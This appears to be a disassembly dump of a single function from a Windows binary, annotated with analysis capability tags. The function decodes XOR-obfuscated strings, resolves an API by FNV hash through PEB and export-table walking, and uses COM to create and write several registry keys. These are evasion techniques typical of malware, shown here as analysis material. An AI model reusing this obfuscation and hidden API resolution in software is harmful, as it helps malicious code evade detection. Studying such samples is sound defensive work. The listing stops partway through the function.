Function at 0x41ac60
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5229a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x420
push esi
push edi
push 2
push 0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x64], 0x35378eac
mov dword [ebp - 0x60], 0x11d2683f
mov dword [ebp - 0x5c], 0xc0009aa8
mov dword [ebp - 0x58], 0xa2cfbb4f
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x41acd5
cmp eax, 1
je 0x41acd5
cmp eax, 0x80010106
jne 0x41c4c1
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
push 0x542500
push 1
push 0
push 0x53a104
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x2c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x41c48f
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x34]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x41c48f
movaps xmm0, xmmword [0x549ae0]
xor ecx, ecx
movups xmmword [ebp - 0x255], xmm0
mov byte [ebp - 0x225], 0xdb
movaps xmm0, xmmword [0x548b20]
movups xmmword [ebp - 0x245], xmm0
movaps xmm0, xmmword [0x549250]
movups xmmword [ebp - 0x235], xmm0
movaps xmm0, xmmword [0x5470d0]
movups xmmword [ebp - 0x224], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x255], al
inc ecx
cmp ecx, 0x37
jb 0x41ad70
mov dword [0x55d640], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x255]
mov byte [ebp - 0x21e], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41adb0
sub ecx, edx
lea eax, [ebp - 0x255]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea ecx, [ebp - 0x68]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
push 0
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x3c]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41ae32
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ae25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4d4
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41afc2
movaps xmm0, xmmword [0x549d40]
xor ecx, ecx
movups xmmword [ebp - 0x8b], xmm0
mov dword [ebp - 0x7b], 0xf4f6f1e4
xorps xmm0, xmm0
mov byte [ebp - 0x77], 0xe8
movq qword [ebp - 0x76], xmm0
mov word [ebp - 0x6e], 0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x8b], al
inc ecx
cmp ecx, 0x15
jb 0x41ae63
mov dword [0x55d5ac], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x8b]
mov byte [ebp - 0x76], 0
movups xmmword [ebp - 0x1fc], xmm0
mov dword [ebp - 0x1ec], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1e8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41aea4
sub ecx, edx
lea eax, [ebp - 0x8b]
push ecx
push eax
lea ecx, [ebp - 0x1fc]
call fcn.00402b80
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1fc]
cmp dword [ebp - 0x1e8], 0x10
cmovae eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x18], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x20], ecx
cmp ecx, esi
je 0x41af4f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41af4f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41af45
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41af28
cmp esi, 0xda5113dc
je 0x41af53
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41af10
mov eax, dword [eax]
jmp 0x41aee7
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x18]
add eax, edx
push dword [ebp - 0x68]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0x10
jb 0x41afbc
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41afb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4d9
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
movaps xmm0, xmmword [0x549ae0]
xor ecx, ecx
movups xmmword [ebp - 0x3e5], xmm0
mov word [ebp - 0x3a5], 0xbba9
movaps xmm0, xmmword [0x548b20]
movups xmmword [ebp - 0x3d5], xmm0
mov word [ebp - 0x39b], 0
movaps xmm0, xmmword [0x549250]
movups xmmword [ebp - 0x3c5], xmm0
movaps xmm0, xmmword [0x5488b0]
movups xmmword [ebp - 0x3b5], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x3a3], xmm0
nop dword [eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x3e5], al
inc ecx
cmp ecx, 0x42
jb 0x41b020
mov dword [0x55d604], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3e5]
mov byte [ebp - 0x3a3], 0
movups xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x204], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x200], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b064
sub ecx, edx
lea eax, [ebp - 0x3e5]
push ecx
push eax
lea ecx, [ebp - 0x214]
call fcn.00402b80
cmp dword [ebp - 0x200], 0x10
lea ecx, [ebp - 0x6c]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
lea eax, [ebp - 0x214]
cmovae eax, dword [ebp - 0x214]
push 0
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x200]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41b0f2
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b0e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4de
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41b264
xor eax, eax
mov word [ebp - 0x45], 0xf0e2
xorps xmm0, xmm0
mov word [ebp - 0x24], ax
mov byte [ebp - 0x43], 0xec
xor ecx, ecx
movq qword [ebp - 0x42], xmm0
mov word [ebp - 0x3a], ax
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 3
jb 0x41b118
mov dword [0x55d590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x45]
mov byte [ebp - 0x42], 0
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xb0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b153
sub ecx, edx
lea eax, [ebp - 0x45]
push ecx
push eax
lea ecx, [ebp - 0xc4]
call fcn.00402b80
mov byte [ebp - 4], 2
lea eax, [ebp - 0xc4]
cmp dword [ebp - 0xb0], 0x10
cmovae eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x41b1f7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41b1f7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x18], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41b1ed
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41b1d0
cmp esi, 0xda5113dc
je 0x41b1fb
mov ecx, dword [ebp - 0x18]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41b1b8
mov eax, dword [eax]
jmp 0x41b193
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 2
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push dword [ebp - 0x1c]
add eax, edx
push dword [ebp - 0x6c]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0x10
jb 0x41b264
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b25a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4e3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x549ae0]
xor ecx, ecx
movups xmmword [ebp - 0x24a], xmm0
mov dword [ebp - 0x22a], 0x8adadfc8
movaps xmm0, xmmword [0x548b20]
movups xmmword [ebp - 0x23a], xmm0
mov word [ebp - 0x226], 0xc9ef
movaps xmm0, xmmword [0x546f50]
movups xmmword [ebp - 0x224], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x24a], al
inc ecx
cmp ecx, 0x2c
jb 0x41b2a3
mov dword [0x55d5b8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x21e], 0
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xcc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b2e7
sub ecx, edx
lea eax, [ebp - 0x24a]
push ecx
push eax
lea ecx, [ebp - 0xdc]
call fcn.00402b80
cmp dword [ebp - 0xc8], 0x10
lea ecx, [ebp - 0x54]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0xdc]
cmovae eax, dword [ebp - 0xdc]
push ecx
push 0x20006
push 1
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0xc8]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41b373
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b366
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4e8
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41b6a2
movaps xmm0, xmmword [0x549c50]
xor ecx, ecx
movups xmmword [ebp - 0x271], xmm0
mov word [ebp - 0x261], 0xfde5
xorps xmm0, xmm0
mov word [ebp - 0x257], 0
movq qword [ebp - 0x25f], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x271], al
inc ecx
cmp ecx, 0x12
jb 0x41b3b0
mov dword [0x55d5dc], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x271]
mov byte [ebp - 0x25f], 0
movups xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b3f4
sub ecx, edx
lea eax, [ebp - 0x271]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402b80
mov byte [ebp - 4], 3
lea eax, [ebp - 0xf4]
cmp dword [ebp - 0xe0], 0x10
cmovae eax, dword [ebp - 0xf4]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41b49f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41b49f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41b495
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41b478
cmp esi, 0xda5113dc
je 0x41b4a3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41b460
mov eax, dword [eax]
jmp 0x41b437
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x54]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xe0]
cmp ecx, 0x10
jb 0x41b50c
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b502
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4ed
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x5497e0]
xor ecx, ecx
movups xmmword [ebp - 0x297], xmm0
mov dword [ebp - 0x287], 0xf3f2f9c3
movaps xmm0, xmmword [0x547060]
mov word [ebp - 0x283], 0xfbf5
movups xmmword [ebp - 0x281], xmm0
nop dword [eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x297], al
inc ecx
cmp ecx, 0x1c
jb 0x41b540
mov dword [0x55d5f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x297]
mov byte [ebp - 0x27b], 0
movups xmmword [ebp - 0x10c], xmm0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b584
sub ecx, edx
lea eax, [ebp - 0x297]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402b80
mov byte [ebp - 4], 4
lea eax, [ebp - 0x10c]
cmp dword [ebp - 0xf8], 0x10
cmovae eax, dword [ebp - 0x10c]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41b62f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41b62f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41b625
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41b608
cmp esi, 0xda5113dc
je 0x41b633
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41b5f0
mov eax, dword [eax]
jmp 0x41b5c7
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x54]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xf8]
cmp ecx, 0x10
jb 0x41b69c
mov edx, dword [ebp - 0x10c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b692
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4f2
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
movaps xmm0, xmmword [0x549ae0]
xor ecx, ecx
movups xmmword [ebp - 0x399], xmm0
mov dword [ebp - 0x379], 0xf6dadfc8
movaps xmm0, xmmword [0x548b20]
movups xmmword [ebp - 0x389], xmm0
movaps xmm0, xmmword [0x5472c0]
movups xmmword [ebp - 0x375], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x399], al
inc ecx
cmp ecx, 0x2a
jb 0x41b6e0
mov dword [0x55d61c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x399]
mov byte [ebp - 0x36f], 0
movups xmmword [ebp - 0x124], xmm0
mov dword [ebp - 0x114], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x110], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b724
sub ecx, edx
lea eax, [ebp - 0x399]
push ecx
push eax
lea ecx, [ebp - 0x124]
call fcn.00402b80
cmp dword [ebp - 0x110], 0x10
lea ecx, [ebp - 0x38]
push ecx
push 0x20006
lea eax, [ebp - 0x124]
cmovae eax, dword [ebp - 0x124]
push 1
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x110]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41b7aa
mov edx, dword [ebp - 0x124]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b79d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4f7
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41b94c
movaps xmm0, xmmword [0x5499d0]
xor eax, eax
cmp dword [ebp - 0x28], 1
movups xmmword [ebp - 0x2b2], xmm0
setne al
mov byte [ebp - 0x2a2], 0xf9
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
movq qword [ebp - 0x2a1], xmm0
xor ecx, ecx
mov word [ebp - 0x299], 0
nop dword [eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x2b2], al
inc ecx
cmp ecx, 0x11
jb 0x41b7f0
mov dword [0x55d634], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b2]
mov byte [ebp - 0x2a1], 0
movups xmmword [ebp - 0x13c], xmm0
mov dword [ebp - 0x12c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x128], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b834
sub ecx, edx
lea eax, [ebp - 0x2b2]
push ecx
push eax
lea ecx, [ebp - 0x13c]
call fcn.00402b80
mov byte [ebp - 4], 5
lea eax, [ebp - 0x13c]
cmp dword [ebp - 0x128], 0x10
cmovae eax, dword [ebp - 0x13c]
mov dword [ebp - 0x24], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41b8df
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41b8df
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41b8d5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41b8b8
cmp esi, 0xda5113dc
je 0x41b8e3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41b8a0
mov eax, dword [eax]
jmp 0x41b877
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x20]
push ecx
push 4
push 0
push dword [ebp - 0x24]
add eax, edx
push dword [ebp - 0x38]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x128]
cmp ecx, 0x10
jb 0x41b94c
mov edx, dword [ebp - 0x13c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b942
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c4fc
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x549ae0]
xor ecx, ecx
movups xmmword [ebp - 0x430], xmm0
mov byte [ebp - 0x3f0], 0xa9
movaps xmm0, xmmword [0x548b20]
movups xmmword [ebp - 0x420], xmm0
mov word [ebp - 0x3e7], 0
movaps xmm0, xmmword [0x5492e0]
movups xmmword [ebp - 0x410], xmm0
movaps xmm0, xmmword [0x5488a0]
movups xmmword [ebp - 0x400], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x3ef], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x430], al
inc ecx
cmp ecx, 0x41
jb 0x41b9a1
mov dword [0x55d5d4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x430]
mov byte [ebp - 0x3ef], 0
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x144], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x140], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b9e5
sub ecx, edx
lea eax, [ebp - 0x430]
push ecx
push eax
lea ecx, [ebp - 0x154]
call fcn.00402b80
cmp dword [ebp - 0x140], 0x10
lea ecx, [ebp - 0x30]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
lea eax, [ebp - 0x154]
cmovae eax, dword [ebp - 0x154]
push 0
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, dword [ebp - 0x140]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41ba77
mov edx, dword [ebp - 0x154]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ba6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c501
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41c3e4
movaps xmm0, xmmword [0x549390]
xor ecx, ecx
movups xmmword [ebp - 0x31f], xmm0
mov word [ebp - 0x30f], 0xf6f8
movaps xmm0, xmmword [0x548200]
mov byte [ebp - 0x30d], 0xf0
movups xmmword [ebp - 0x30c], xmm0
nop dword [eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x31f], al
inc ecx
cmp ecx, 0x19
jb 0x41bab0
mov dword [0x55d638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x31f]
mov byte [ebp - 0x306], 0
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x15c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x158], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41baf4
sub ecx, edx
lea eax, [ebp - 0x31f]
push ecx
push eax
lea ecx, [ebp - 0x16c]
call fcn.00402b80
mov byte [ebp - 4], 6
lea eax, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
cmovae eax, dword [ebp - 0x16c]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41bb9f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41bb9f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41bb95
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41bb78
cmp esi, 0xda5113dc
je 0x41bba3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41bb60
mov eax, dword [eax]
jmp 0x41bb37
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x158]
cmp ecx, 0x10
jb 0x41bc0c
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bc02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c506
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x548d70]
xor ecx, ecx
movups xmmword [ebp - 0x342], xmm0
mov word [ebp - 0x332], 0xf7e5
movaps xmm0, xmmword [0x547f10]
mov byte [ebp - 0x330], 0xed
movups xmmword [ebp - 0x32f], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x342], al
inc ecx
cmp ecx, 0x19
jb 0x41bc40
mov dword [0x55d638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x342]
mov byte [ebp - 0x329], 0
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x174], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x170], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41bc84
sub ecx, edx
lea eax, [ebp - 0x342]
push ecx
push eax
lea ecx, [ebp - 0x184]
call fcn.00402b80
mov byte [ebp - 4], 7
lea eax, [ebp - 0x184]
cmp dword [ebp - 0x170], 0x10
cmovae eax, dword [ebp - 0x184]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41bd2f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41bd2f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
